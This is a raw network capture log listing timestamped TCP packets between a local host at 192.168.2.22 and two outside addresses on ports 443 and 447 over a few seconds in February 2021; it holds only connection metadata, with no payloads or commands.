Feb 20, 2021 02:05:36.065205097 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:36.262975931 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:36.757782936 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:36.961452007 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:39.671590090 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:39.672288895 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:39.870176077 CET	443	49173	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:39.870315075 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:39.870582104 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:40.070542097 CET	443	49173	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:40.075192928 CET	443	49173	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:40.075228930 CET	443	49173	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:40.075371981 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:40.086088896 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:40.286432028 CET	443	49173	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:40.287494898 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:40.525892019 CET	443	49173	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:41.041263103 CET	443	49173	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:41.044051886 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.168570042 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.168710947 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.169260025 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.251949072 CET	49173	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:41.292263031 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.296932936 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.296950102 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.297117949 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.311208963 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.435573101 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.436660051 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.560199976 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.560261011 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.560381889 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.560465097 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.560508013 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.560548067 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.560571909 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.560842991 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.560884953 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.560910940 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.560923100 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.560962915 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.560972929 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.561254978 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.561316967 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.682322025 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.682584047 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.682615995 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.682691097 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.682955980 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.682977915 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.683001995 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.683084011 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.683300018 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.683324099 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.683376074 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.683393955 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.683856010 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.683878899 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.683903933 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.683933973 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.683989048 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.684060097 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.805763006 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.805824041 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.805893898 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.806607962 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.806657076 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.806718111 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.807051897 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.807096004 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.807153940 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.807295084 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.807336092 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.807374954 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.807393074 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.807667971 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.807718039 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.807750940 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.807755947 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.807804108 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.808028936 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.808072090 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.808134079 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.928225040 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.928287029 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.928566933 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.928853989 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.928899050 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.928968906 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.929039001 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.929080009 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.929138899 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.929331064 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.929377079 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.929441929 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.930052042 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.930102110 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.930145979 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.930166006 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.930409908 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.930454969 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.930479050 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:41.930495024 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:41.930548906 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.051196098 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.051259995 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.051290989 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.051388979 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.051548958 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.051593065 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.051631927 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.051645041 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.051918030 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.051959991 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.051969051 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.052000046 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.052043915 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.052248001 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.052290916 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.052326918 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.052350044 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.052603960 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.052654028 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.052658081 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.052695990 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.052745104 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.173939943 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.173968077 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.173985004 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.174124002 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.174141884 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.174155951 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.174175024 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.174240112 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.174272060 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.174530983 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.174598932 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.174787045 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.174809933 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.174851894 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.175206900 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.175230026 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.175249100 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.175272942 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.175548077 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.175571918 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.175590992 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.175614119 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.296237946 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.296298981 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.296335936 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.296376944 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.296413898 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.296571016 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.296713114 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.296753883 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.296789885 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.296792984 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.296834946 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.296870947 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.296875000 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.296962976 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.298398018 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.298446894 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.298578024 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.298676014 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.298716068 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.298782110 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.418422937 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.418487072 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.418519020 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.418550968 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.418590069 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.418731928 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.418888092 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.418931007 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.418960094 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.418967962 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.419025898 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.419325113 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.419369936 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.419406891 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.419428110 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.419598103 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.419657946 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.420322895 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.420366049 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.420423985 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.420671940 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.420711994 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.420758963 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.420773029 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.540608883 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.540668011 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.540770054 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.540807009 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.540849924 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.540887117 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.540919065 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.540926933 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.540987015 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.541157007 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.541196108 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.541234970 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.541270018 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.541562080 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.541604996 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.541634083 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.541641951 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.541723013 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.542270899 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.542310953 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.542387009 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.542578936 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.542623043 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.542689085 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.542865992 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.665770054 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.665813923 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.665945053 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.665971041 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.665988922 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.666002989 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.666018963 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.666244984 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.666274071 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.666301012 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.666318893 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.666326046 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.666371107 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.666608095 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.666683912 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.666728020 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.666763067 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.666837931 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.667006016 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.667035103 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.667058945 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.667085886 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.667397022 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.667438984 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.667474031 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.667475939 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.667536974 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.790142059 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.790200949 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.790251970 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.790297985 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.790337086 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.790376902 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.790385008 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.790415049 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.790584087 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.790633917 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.790663958 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.790676117 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.790761948 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.790925026 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.790970087 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.791006088 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.791040897 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.791280985 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.791326046 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.791352987 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.791366100 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.791424036 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.791656971 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.791697025 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.791735888 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.791758060 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.791984081 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.792026043 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.792062998 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.912502050 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.912564039 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.912615061 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.912662029 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.912683964 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.912700891 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.912724018 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.912969112 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.913024902 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.913057089 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.913086891 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.913149118 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.913331032 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.913372040 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.913400888 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.913445950 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.913513899 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.913665056 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.913707972 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.913746119 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.913779974 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.914000034 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.914051056 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.914066076 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.914093971 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.914144993 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:42.914351940 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.914392948 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:42.914447069 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:43.034812927 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.034868956 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.034908056 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.034944057 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.034948111 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:43.034984112 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.035007000 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:43.035023928 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.035087109 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:43.035171032 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.035212994 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.035249949 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.035275936 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:43.035618067 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.035669088 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.035711050 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:43.035732985 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.035790920 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:43.035974979 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.036015987 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.036072969 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:43.036202908 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.036247015 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.036314964 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:43.036595106 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.036638975 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.036674976 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.036710024 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:43.036902905 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.036942959 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.036977053 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:43.036983013 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.037054062 CET	49174	447	192.168.2.22	185.109.54.99
Feb 20, 2021 02:05:43.157171965 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.157205105 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.157218933 CET	447	49174	185.109.54.99	192.168.2.22
Feb 20, 2021 02:05:43.157305002 CET	447	49174	185.109.54.99	192.168.2.22
